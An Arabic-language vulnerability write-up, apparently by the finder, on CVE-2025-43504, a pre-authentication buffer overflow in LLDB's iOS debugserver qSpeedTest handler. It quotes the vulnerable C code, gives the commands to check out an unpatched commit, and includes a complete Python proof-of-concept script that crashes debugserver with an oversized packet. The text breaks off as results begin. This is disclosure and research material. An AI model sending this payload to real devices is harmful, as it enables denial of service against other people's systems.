
غوص تقني في CVE-2025-43504، تجاوز سعة المخزن المؤقت العام قبل المصادقة في debugserver الخاص بـ LLDB لنظام iOS، مع كود PoC وتحليل الاستغلال.
في طفولتي، كنت أستمتع دائمًا بالبحث في صناديق أقراص DVD في متجر Walmart القريب مني. لاحظت أن الكثير من الأفلام نفسها تُترك في الأعلى، لكن إذا بحثت بعمق فعلًا، ستجد عناوين أكثر إثارة للاهتمام وتخصصًا.
عندما يفيض البرنامج على عازلة (buffer)، فأنت في الأساس تمد يدك إلى صندوق الصفقات الخاص به. واعتمادًا على مدى عمق وصولك، يمكن أن تتغير أقراص DVD - أو في هذه الحالة، البنى المستبدلة في الذاكرة -.
صندوق الصفقات /bin لهذا اليوم هو CVE-2025-43504: تجاوز سعة عازلة عامة عن بُعد قبل المصادقة وجدته في debugserver الخاص بـ LLDB.
أثناء تطوير التطبيقات، غالبًا ما يجد المطورون حاجةً لتصحيح أخطاء تطبيقهم على جهاز iOS فعلي. ولتحقيق ذلك، يقوم Xcode بتركيب صورة قرص مطوّر (Developer Disk Image) على جهاز iPhone المستهدف ثم يقترن به.
بمجرد الاقتران، يستطيع مضيف macOS التواصل مع عميل iOS باستخدام debugserver المثبّت على العميل. والآن، أي عميل يستطيع إنشاء جلسة GDB-remote مع debugserver الخاص بالجهاز يمكنه الوصول إلى معالج qSpeedTest وتجاوز سعة العازلة الهشّة.
دعونا نلقي نظرة على صفحة الإصدار الأمني لـ Xcode 26.1 لفهم أفضل لكيفية تصنيف Apple لـ CVE-2025-43504:

بسبب التخفيفات البرمجية الحديثة، تعتبر Apple أن عمليات تجاوز سعة العازلة هي في المقام الأول مشكلة حرمان من الخدمة (denial-of-service) وليست بدائية إفساد (corruption primitive). وكما سنستكشف اليوم، هذا صحيح بشكل عام؛ إذ سيحتاج المهاجم إلى تجاوز عدة عقبات ومن المرجح أن يقرن هذه الثغرة بخلل آخر لتحقيق تنفيذ عشوائي للكود.
إذا كنت ترغب في التجربة مع نسخة غير مصحّحة من debugserver، استخدم الـ commit التالي أو أي commit سابق على ac8e7be5fbd11f731ffc81bf3bbae50a5a4d83de:
git clone https://github.com/llvm/llvm-project.git
cd llvm-project
git checkout 37cd595c1ccb1fd84ebdfeb0d959744a4d13726c
قبل التصحيح في RNBRemote.cpp، كان بإمكان أي مستخدم عن بُعد يستطيع الاتصال بـ debugserver الخاص بجهاز iOS إرسال حزمة qSpeedTest قبل المصادقة إلى RNBRemote::HandlePacket_qSpeedTest وإفساد البنى المجاورة في قطاع البيانات العام الخاص بـ debugserver.
ومع ذلك، هناك تحذير مهم: نحن نتحكم فقط في طول الإفساد. محتويات الحمولة ثابتة على تدفق من أحرف 'a'. وبينما قد يستمتع الطلاب بعلاماتهم المرتفعة باستمرار، فإن الفائدة العملية لهذا التجاوز محدودة للغاية بحقيقة أننا لا نستطيع التحكم في البايتات الفعلية التي تُكتب - فقط إلى أي مدى يمتد فيضان حروف 'a'.
الآن، دعونا نلقي نظرة تحت الغطاء على RNBRemote::HandlePacket_qSpeedTest لرؤية ما يحدث بالضبط:
rnb_err_t RNBRemote::HandlePacket_qSpeedTest(const char *p) {
p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
// We control the length of response_size
uint64_t response_size = ::strtoul(p, &end, 16);
if (errno != 0)
return HandlePacket_ILLFORMED(
__FILE__, __LINE__, p,
"Didn't find response_size value at right offset");
else if (*end == ';') {
static char g_data[4 * 1024 * 1024 + 16];
strcpy(g_data, "data:");
// The overflow of g_data by a's occurs here
memset(g_data + 5, 'a', response_size);
g_data[response_size + 5] = '\0';
return SendPacket(g_data);
} else {
return SendErrorPacket("E79");
}
}
دور RNBRemote::HandlePacket_qSpeedTest() هو معالجة الحزم الواردة qSpeedTest:response_size:<hex>; دون طلب مصادقة من مستخدم عن بُعد يمكنه التواصل مع ملف debugserver الثنائي الخاص بجهاز iOS.
ومع ذلك، بمجرد أن يتمكن مستخدم عن بُعد من إرسال حزمة qSpeedTest:response_size:<hex>; إلى debugserver، لا تجري أي فحوصات مصادقة داخل debugserver قبل معالجة response_size المقدَّم من المستخدم. لذلك، أي مستخدم يمكنه التواصل مع جهاز iOS مثبّت عليه صورة قرص مطوّر (Developer Disk Image) يستطيع تجاوز سعة debugserver عبر حزمة qSpeedTest:response_size:<hex>;.
الآن وقد وصلنا إلى الدالة الهشّة RNBRemote::HandlePacket_qSpeedTest()، دعونا نفحص بالضبط كيف يحدث التجاوز. أولاً، يتم استخراج الحجم <hex> المقدَّم من المستخدم في الحزمة qSpeedTest:response_size:<hex>; وتخزينه في المتغير response_size:
p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
uint64_t response_size = ::strtoul(p, &end, 16);
إذا نجح التحليل وكان الحرف التالي هو فاصلة منقوطة، يتم تهيئة عازلة ثابتة محلية للدالة بحجم 4 MiB + 16 بايت باسم g_data وتُزرع بالترويسة ASCII "data:":
if (errno != 0)
return HandlePacket_ILLFORMED(__FILE__, __LINE__, p,
"Didn't find response_size value at right offset");
else if (*end == ';') {
static char g_data[4 * 1024 * 1024 + 16];
strcpy(g_data, "data:");
بتجميع كل ذلك معًا، يقوم memset بعد ذلك بملء العازلة الثابتة g_data بحجم 4 MiB + 16 بايت بالحرف 'a' مستخدمًا قيمة response_size التي يتحكم فيها المستخدم كعدد حروف 'a' المطلوب استخدامها.
// The overflow of g_data by 'a's occurs here
memset(g_data + 5, 'a', response_size);
g_data[response_size + 5] = '\0';
لذلك، كلما أرسل عميل LLDB عن بُعد حزمة qSpeedTest:response_size:<hex>; بقيمة response_size أكبر من العازلة بحجم 4 MiB + 16 بايت، يحدث تجاوز سعة عازلة ويفسد المتغيرات العامة المجاورة المخزنة في قطاع البيانات العام (.bss) الخاص بـ debugserver.
الآن بعد أن فهمنا البنية خلف التجاوز، دعونا نغوص في الآليات الفعلية للثغرة. للبدء، دعونا نستخدم برنامج Python التالي لاستكشاف بدائيات الإفساد المكتسبة عبر تجاوز g_data:
import argparse, socket
def frame(payload: bytes) -> bytes:
return b"$" + payload + (b"#%02x" % (sum(payload) & 0xFF))
def send_one(host: str, port: int, resp_hex: str):
payload = b"qSpeedTest:response_size:" + resp_hex.encode("ascii") + b";"
pkt = frame(payload)
s = socket.create_connection((host, port), timeout=5.0)
s.settimeout(1.5)
try:
# send the oversized qSpeedTest
s.sendall(pkt)
try:
_ = s.recv(1) # ACK (best effort)
except Exception:
pass
# Optional tiny nudge to exercise pointer use
try:
s.sendall(frame(b"?"))
_ = s.recv(1)
except Exception:
pass
finally:
try: s.close()
except Exception: pass
def main():
ap = argparse.ArgumentParser(description="Send a single qSpeedTest packet with chosen response_size")
ap.add_argument("--host", default="127.0.0.1")
ap.add_argument("--port", type=int, default=1234)
ap.add_argument("--size", required=True,
help="Hex string for response_size (no 0x prefix), e.g. 40100a or 500000")
args = ap.parse_args()
print(f"[i] Sending qSpeedTest:response_size:0x{args.size} to {args.host}:{args.port}")
send_one(args.host, args.port, args.size)
print("[i] Done. If debugserver crashed, check the log for SIGSEGV/SIGBUS and fault address.")
if __name__ == "__main__":
main()
بعد تشغيل debugserver، نقوم بتشغيل أمر python3 التالي ونقدم response_size بقيمة 4004AB:
python3 poc.py --host 127.0.0.1 --port 1234 --size 4004AB
نلاحظ أن debugserver لا ينهار ويعود بشكل طبيعي:
